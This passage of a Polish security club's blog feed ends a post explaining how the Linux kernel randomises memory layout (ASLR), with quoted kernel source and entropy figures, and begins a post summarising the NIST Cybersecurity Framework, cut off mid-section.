&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * This function, called very early during the creation of a new
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * process VM image, sets up which VM layout function to use:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">void&lt;/span> &lt;span class="nf">arch_pick_mmap_base&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">base&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">legacy_base&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">random_factor&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">task_size&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">struct&lt;/span> &lt;span class="n">rlimit&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">rlim_stack&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">legacy_base&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">mmap_legacy_base&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">random_factor&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">task_size&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">mmap_is_legacy&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">base&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">legacy_base&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">base&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">mmap_base&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">random_factor&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">task_size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rlim_stack&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zmienna &lt;code>*base&lt;/code> jest naszym adresem bazowym, a przypisywana jest do
niego wartość zwracana przez funkcję &lt;code>mmap_base&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">mmap_base&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">rnd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">task_size&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">struct&lt;/span> &lt;span class="n">rlimit&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">rlim_stack&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">gap&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">rlim_stack&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">rlim_cur&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">pad&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">stack_maxrandom_size&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">task_size&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">stack_guard_gap&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/* Values close to RLIM_INFINITY can overflow. */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">gap&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pad&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">gap&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gap&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * Top of mmap area (just below the process stack).
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * Leave an at least ~128 MB hole with possible stack randomization.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gap&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">clamp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">gap&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SIZE_128M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">task_size&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">task_size&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">gap&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">rnd&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Argument &lt;code>rnd&lt;/code> jest równy wynikowi &lt;code>arch_rnd(mmap64_rnd_bits)&lt;/code>, które
było omówione przy tym, jak losowana jest binarka i działa dokładnie
tak samo. Dla przypomnienia, ta funkcja zwraca wartość dającą
nam 28 bitów entropii.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">task_size_64bit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">full_addr_space&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">full_addr_space&lt;/span> &lt;span class="o">?&lt;/span> &lt;span class="nl">TASK_SIZE_MAX&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">DEFAULT_MAP_WINDOW&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Argument &lt;code>task_size&lt;/code> jest równy wynikowi &lt;code>task_size_64bit(0)&lt;/code>, czyli
&lt;code>DEFAULT_MAP_WINDOW&lt;/code> (0x7ffffffff000), jako że funkcja jest wywoływana
z argumentem 0.&lt;/p>
&lt;p>Adres bazowy jest wyznaczany tylko raz podczas ładowania programu i
wszystkie biblioteki/wywołania systemowe mmap są od niego zależne! W
funkcji &lt;code>unmapped_area_topdown&lt;/code> w pliku &lt;code>./mm/vma.c&lt;/code> wyznaczamy
kolejne adresy zwracane przez mmap oraz ładowanych bibliotek. Nie
będziemy się już tej funkcji przyglądać, jako że jest dosyć
skomplikowana i rozpatruje wiele przypadków brzegowych.&lt;/p>
&lt;p>Jak widzimy na poniższych zdjęciach:&lt;/p>
&lt;p>&lt;img src="./mmap.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./cat.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>dla wywołania polecenia &lt;code>cat /proc/self/maps&lt;/code>, funkcja &lt;code>mmap_base&lt;/code>
zwróci nam 0x7f1c82d07000. Jest to adres równy końcowi ostatniego
segmentu pamięci pojawiającego się przed stosem. W praktyce okazuje
się, że za każdym razem funkcja &lt;code>unmapped_area_topdown&lt;/code> zwraca nam
najwyższy możliwy adres, który jest niższy od poprzedniego, przez co
wszystkie segmenty pamięci &amp;ldquo;stykają się i nie ma dziur&amp;rdquo;. W wyniku tego,
jeśli atakujący zna jeden adres (np. wyciek adresu jakiegoś wywołania
anonimowej pamięci zwróconej przez syscall &lt;code>mmap&lt;/code>), to zna wszystkie
inne adresy (np. adres biblioteki standardowej libc), ponieważ
relatywny offset pozostaje stały. Jest to duża słabość w tym, w jaki
sposób Linux implementuje ASLR.&lt;/p>
&lt;h2>Porównanie z innymi systemami operacyjnymi&lt;span class="hx:absolute hx:-mt-20" id="porównanie-z-innymi-systemami-operacyjnymi">&lt;/span>
&lt;a href="#por%c3%b3wnanie-z-innymi-systemami-operacyjnymi" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Ciekawostką jest, że ASLR w Linuxie, w przeciwieństwie do Windowsa i
macOS, jako jedyne ma wszędzie równą dystrybucję
prawdopodobieństwa. Badanie przeprowadzone w pracy &lt;a href="https://arxiv.org/abs/2408.15107"target="_blank" rel="noopener">&amp;ldquo;The Illusion of
Randomness&amp;rdquo;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> porównywało losowość
(ilość bitów entropii absolutnej i zależnej, oraz dystrybucję) w
różnych systemach operacyjnych.&lt;/p>
&lt;p>Tak owa dystrybucja wygląda na Linuxie:&lt;/p>
&lt;p>&lt;img src="./dist_linux.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>a tak na Windowsie i macOS:&lt;/p>
&lt;p>&lt;img src="./dist_win.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./dist_mac.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Ciekawskich zachęcam do przeczytania oryginalnego artykułu, jako że
jest on bardzo intrygujący.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>ASLR w jądrze Linuxa, mimo że implementowane w sposób stosunkowo
prosty i zrozumiały, ma kilka znaczących słabości
bezpieczeństwa. Najważniejsze z nich to niska entropia zależna sterty (18
bitów) oraz deterministyczny układ bibliotek współdzielonych, gdzie
znajomość jednego adresu pozwala na wywnioskowanie wszystkich
pozostałych.&lt;/p>
&lt;p>Implementacja bazuje na kilku kluczowych funkcjach: &lt;code>arch_mmap_rnd()&lt;/code>
dla randomizacji binarki i bibliotek (28 bitów entropii),
&lt;code>arch_randomize_brk()&lt;/code> dla sterty (18 bitów entropii) oraz
&lt;code>randomize_stack_top()&lt;/code> i &lt;code>arch_align_stack()&lt;/code> dla stosu (łącznie
około 30 bitów entropii). Każdy z tych mechanizmów działa niezależnie
podczas ładowania programu.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://arxiv.org/abs/2408.15107"target="_blank" rel="noopener">https://arxiv.org/abs/2408.15107&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://whitehats.pwr.edu.pl/research/buffer-overflow/"target="_blank" rel="noopener">https://whitehats.pwr.edu.pl/research/buffer-overflow/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sam4k.com/linternals-virtual-memory-part-1/"target="_blank" rel="noopener">https://sam4k.com/linternals-virtual-memory-part-1/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-setup/"target="_blank" rel="noopener">https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-setup/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://0x434b.dev/an-introduction-to-address-space-layout-randomization-aslr-in-linux/"target="_blank" rel="noopener">https://0x434b.dev/an-introduction-to-address-space-layout-randomization-aslr-in-linux/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kernel.org/"target="_blank" rel="noopener">https://www.kernel.org/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/pwndbg/pwndbg"target="_blank" rel="noopener">https://github.com/pwndbg/pwndbg&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Przeczytałem NIST CSF, abyście Wy nie musieli</title><link>https://whitehats.pwr.edu.pl/blog/2025-05-13-nist-cfs/</link><pubDate>Tue, 13 May 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-05-13-nist-cfs/</guid><description>
&lt;h2>&lt;strong>Na początek – kilka statystyk&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="na-początek--kilka-statystyk">&lt;/span>
&lt;a href="#na-pocz%c4%85tek--kilka-statystyk" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jeśli planujesz karierę w branży cyberbezpieczeństwa, znajomość NIST Cybersecurity Framework (CSF) może znacząco zwiększyć Twoje szanse na rynku pracy. Zgodnie z raportem o rynku pracy na rok 2024 opublikowanym przez polską firmę NoFluffJobs, około 20% ofert pracy w obszarze IT wymaga znajomości standardów NIST. Warto również zwrócić uwagę, że również 20% ofert pracy oczekuje znajomości systemu Linux, który dla wielu specjalistów uważany jest za standard. Można więc stwierdzić, że znajomość NIST, w tym CSF, staje się coraz bardziej powszechnym wymaganiem na rynku pracy.&lt;/p>
&lt;h2>&lt;strong>Czym jest NIST?&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-nist">&lt;/span>
&lt;a href="#czym-jest-nist" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;strong>NIST (National Institute of Standards and Technology)&lt;/strong> to amerykańska instytucja zajmująca się opracowywaniem standardów w obszarze technologii oraz jej bezpieczeństwa. Choć organizacja działa głównie w Stanach Zjednoczonych, jej ramy dotyczące cyberbezpieczeństwa, takie jak NIST CSF, są szeroko stosowane przez wiele firm i instytucji na całym świecie (np. Aramco).&lt;/p>
&lt;h3>Czym jest NIST Cybersecurity Framework?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-nist-cybersecurity-framework">&lt;/span>
&lt;a href="#czym-jest-nist-cybersecurity-framework" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>&lt;strong>NIST Cybersecurity Framework (CSF)&lt;/strong> to zbiór najlepszych praktyk i zaleceń dotyczących zarządzania cyberbezpieczeństwem. Powstał, aby pomóc organizacjom we wdrażaniu oraz ciągłym ulepszaniu ich systemów, procedur i polityk bezpieczeństwa.
Warto podkreślić, że NIST CSF nie jest metodą audytu i nie narzuca konkretnych rozwiązań ani sztywnych norm. Jest to elastyczny zestaw narzędzi i wskazówek, który pomaga organizacjom w poprawie bezpieczeństwa.&lt;/p>
&lt;h2>&lt;strong>Z jakich elementów składa się NIST CSF?&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="z-jakich-elementów-składa-się-nist-csf">&lt;/span>
&lt;a href="#z-jakich-element%c3%b3w-sk%c5%82ada-si%c4%99-nist-csf" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>NIST CSF opiera się na trzech głównych elementach:&lt;/p>
&lt;h3>1. Framework Core (Rdzeń Ram)&lt;span class="hx:absolute hx:-mt-20" id="1-framework-core-rdzeń-ram">&lt;/span>
&lt;a href="#1-framework-core-rdze%c5%84-ram" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jest to zestaw &lt;strong>6 funkcji, 22 kategorii i 106 podkategorii&lt;/strong>, które organizacja może wykorzystać do poprawy swojego cyberbezpieczeństwa. Główne kategorie to:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Govern (Zarządzanie)&lt;/strong> – wprowadzona w CSF 2.0, koncentruje się na strategiach, politykach i procedurach zarządzania cyberbezpieczeństwem,&lt;/li>
&lt;li>&lt;strong>Identify (Identyfikacja)&lt;/strong> – określenie zasobów i zagrożeń,&lt;/li>
&lt;li>&lt;strong>Protect (Ochrona)&lt;/strong> – wdrażanie mechanizmów zabezpieczających,&lt;/li>
&lt;li>&lt;strong>Detect (Wykrywanie)&lt;/strong> – monitorowanie incydentów,&lt;/li>
&lt;li>&lt;strong>Respond (Reagowanie)&lt;/strong> – zarządzanie incydentami,&lt;/li>
&lt;li>&lt;strong>Recover (Odzyskiwanie)&lt;/strong> – przywracanie działania po incydencie.
&lt;strong>Przykład podkategorii:&lt;/strong>
&lt;em>Pod funkcją &lt;strong>Detect (Wykrywanie)&lt;/strong> znajduje się kategoria &lt;strong>Anomalie i Wydarzenia (Anomalies and Events)&lt;/strong>, która zawiera podkategorię &lt;strong>DE.AE-3&lt;/strong>: „Informacje są korelowane z różnych źródeł”. Oznacza to, że organizacja powinna zbierać dane z różnych źródeł, aby zidentyfikować potencjalne anomalie i zagrożenia.&lt;/em>&lt;/li>
&lt;/ul>
&lt;h3>2. Implementation Tiers (Poziomy wdrożenia)&lt;span class="hx:absolute hx:-mt-20" id="2-implementation-tiers-poziomy-wdrożenia">&lt;/span>
&lt;a href="#2-implementation-tiers-poziomy-wdro%c5%bcenia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>NIST CSF określa cztery poziomy dojrzałości w zarządzaniu cyberbezpieczeństwem:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Tier 1: Częściowy&lt;/strong> – brak formalnych procesów zarządzania ryzykiem,&lt;/li>
&lt;li>&lt;strong>Tier 2: Świadomy ryzyka&lt;/strong> – podstawowe procesy są wdrożone, ale niekoniecznie spójne,&lt;/li>
&lt;li>&lt;strong>Tier 3: Powtarzalny&lt;/strong> – organizacja stosuje ustandaryzowane praktyki,&lt;/li>
&lt;li>&lt;strong>Tier 4: Adaptacyjny&lt;/strong> – organizacja dynamicznie dostosowuje swoje podejście do zmieniających się zagrożeń.
Warto zaznaczyć, że większość organizacji nie wymaga osiągnięcia poziomu 4. Elastyczność NIST pozwala przyjąć, że w wielu przypadkach wystarczająca jest świadomość ryzyka w danej kategorii zabezpieczeń.&lt;/li>
&lt;/ul>
&lt;h3>3. Framework Profiles (Profile Ram)&lt;span class="hx:absolute hx:-mt-20" id="3-framework-profiles-profile-ram">&lt;/span>
&lt;a href="#3-framework-profiles-profile-ram" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Profile pomagają organizacjom dostosować CSF do ich indywidualnych potrzeb i celów biznesowych. Tworzenie profilu pozwala na analizę aktualnego poziomu zabezpieczeń oraz określenie docelowego stanu cyberbezpieczeństwa. Wraz z rozwojem organizacji profil umożliwia ciągłe porównywanie stanu przed i po wdrożeniu określonych ulepszeń.&lt;/p>
&lt;h2>&lt;strong>Jak korzystać z NIST CSF?&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="jak-korzystać-z-nist-csf">&lt;/span>
&lt;a href="#jak-korzysta%c4%87-z-nist-csf" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Organizacje mogą wykorzystać NIST CSF na różne sposoby, na przykład jako narzędzie do samooceny lub jako podstawę do budowy strategii cyberbezpieczeństwa.
Kluczowe kroki obejmują:&lt;/p>
&lt;h3>1. Określenie obecnego poziomu dojrzałości w ramach CSF (Implementation Tiers)&lt;span class="hx:absolute hx:-mt-20" id="1-określenie-obecnego-poziomu-dojrzałości-w-ramach-csf-implementation-tiers">&lt;/span>
&lt;a href="#1-okre%c5%9blenie-obecnego-poziomu-dojrza%c5%82o%c5%9bci-w-ramach-csf-implementation-tiers" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Pierwszym krokiem jest analiza aktualnego poziomu zabezpieczeń organizacji – zarówno od strony technicznej jak i organizacyjnej. Szczególnie cenne są tu opinie pracowników, także kadry kierowniczej. W tym celu warto wykorzystać checklisty lub rozbudowane ankiety przesyłane pracownikom do uzupełnienia. Zebrane dane umożliwiają określenie bieżącego poziomu bezpieczeństwa w wybranych obszarach.
&lt;em>&lt;strong>Przykład:&lt;/strong>&lt;/em>
